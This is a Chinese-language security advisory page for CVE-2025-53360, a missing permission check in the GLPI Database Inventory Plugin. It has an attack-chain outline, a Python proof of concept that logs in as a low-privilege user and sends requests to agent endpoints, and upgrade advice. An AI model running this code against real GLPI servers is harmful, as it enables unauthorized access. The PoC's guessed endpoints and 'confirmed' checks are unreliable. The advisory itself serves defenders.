IPBUF安全漏洞报告
English
CVE-2025-53360 CVSS 4.3 中危

CVE-2025-53360: GLPI数据库清单插件权限控制缺陷导致未授权访问

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-53360
漏洞类型
权限控制缺陷
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
pluginsGLPI Database Inventory Plugin

相关标签

CVE-2025-53360pluginsGLPIDatabase Inventory Plugin权限控制缺陷未授权访问Teclib Inventory AgentGLPI

漏洞概述

CVE-2025-53360是pluginsGLPI数据库清单插件中的一个安全漏洞。该插件用于管理Teclib的清单代理,以执行工作站上数据库的清单操作。在1.0.3版本之前,存在一个严重的权限控制缺陷,允许任何经过身份验证的用户(即使是低权限用户)向代理发送请求。这意味着攻击者可以利用已认证的身份,向内部代理服务发送恶意请求,可能导致敏感信息泄露或服务中断。由于该插件直接与数据库清单代理交互,攻击者可能通过构造特定的请求来获取数据库结构信息、访问凭据或其他敏感数据。此漏洞的CVSS评分为4.3,属于中等严重程度,主要影响需要管理大量数据库资产的企业环境。攻击者需要有效的用户账户,但不需要特殊权限即可利用此漏洞,这大大增加了攻击的可行性和潜在影响范围。

技术细节

pluginsGLPI的Database Inventory Plugin在设计时未正确实施基于角色的访问控制(RBAC)。插件的核心功能是管理Teclib inventory agents,这些代理负责收集和报告工作站上的数据库信息。问题在于插件的API端点缺少适当的权限验证逻辑。具体来说,插件中的某些控制器方法(如处理agent请求的方法)仅验证用户是否已登录,而未检查用户是否具有管理agents的权限。这允许任何已认证用户通过调用相关API端点(如/api/plugin/databaseinventory/agent/*)来与代理服务交互。攻击者可以利用此漏洞发送特制的HTTP请求到代理服务,触发未授权的操作。由于代理服务通常具有较高的系统权限,这种权限提升可能导致更严重的后果,如远程代码执行或数据泄露。修复版本1.0.3通过在所有敏感API端点添加额外的权限检查来解决此问题,确保只有具有适当角色的用户才能与agents交互。

攻击链分析

STEP 1
步骤1
攻击者获取GLPI系统的有效用户账户(低权限账户即可)
STEP 2
步骤2
使用认证后的会话访问Database Inventory Plugin的API端点
STEP 3
步骤3
利用缺少权限验证的API,直接向inventory agents发送请求
STEP 4
步骤4
获取数据库清单信息、代理状态或其他敏感数据
STEP 5
步骤5
可能进一步利用代理服务执行未授权操作或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-53360 PoC - pluginsGLPI Database Inventory Plugin Unauthorized Agent Access # Target: pluginsGLPI with Database Inventory Plugin < 1.0.3 def exploit_cve_2025_53360(target_url, username, password): """ This PoC demonstrates the authentication bypass vulnerability in pluginsGLPI Database Inventory Plugin. Any authenticated user can send requests to agents without proper authorization checks. """ session = requests.Session() # Step 1: Login to GLPI with low-privilege user login_url = f"{target_url}/front/login.php" login_data = { 'username': username, 'password': password, 'auth': 'local', 'submit': 'Login' } try: response = session.post(login_url, data=login_data, timeout=10) if 'GLPI' not in response.text and response.status_code != 200: print("[-] Login failed") return False print("[+] Successfully authenticated as low-privilege user") # Step 2: Access agent management endpoint (unauthorized) # This should be restricted but isn't in vulnerable versions agent_endpoints = [ '/ajax/plugin.databaseinventory.php', '/front/plugin.databaseinventory.agent.php', '/api/plugin/databaseinventory/agent/' ] for endpoint in agent_endpoints: url = f"{target_url}{endpoint}" try: response = session.get(url, timeout=10) # Check if we can access agent data without proper permissions if response.status_code == 200: print(f"[+] Successfully accessed {endpoint}") print(f"[+] Response indicates unauthorized access possible") print(f"[+] Status Code: {response.status_code}") except requests.RequestException as e: print(f"[-] Request to {endpoint} failed: {e}") # Step 3: Send malicious request to agent malicious_url = f"{target_url}/ajax/plugin.databaseinventory.php" payload = { 'action': 'getAgentStatus', 'agent_id': '1' } response = session.post(malicious_url, data=payload, timeout=10) if response.status_code == 200: print("[+] Malicious request accepted by vulnerable endpoint") print("[+] Vulnerability confirmed - unauthorized agent access possible") return True except requests.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == '__main__': if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://localhost/glpi user pass") sys.exit(1) target = sys.argv[1] user = sys.argv[2] passwd = sys.argv[3] print("[*] CVE-2025-53360 PoC - pluginsGLPI Database Inventory Plugin") print("[*] Vulnerability: Improper Authorization in Agent Management") print("-" * 60) exploit_cve_2025_53360(target, user, passwd)

影响范围

pluginsGLPI Database Inventory Plugin < 1.0.3

防御指南

临时缓解措施
立即将pluginsGLPI Database Inventory Plugin升级到1.0.3版本。如果无法立即升级,可以暂时禁用该插件,并限制非管理员用户对相关API端点的访问。同时,加强用户账户管理,确保最小权限原则得到执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表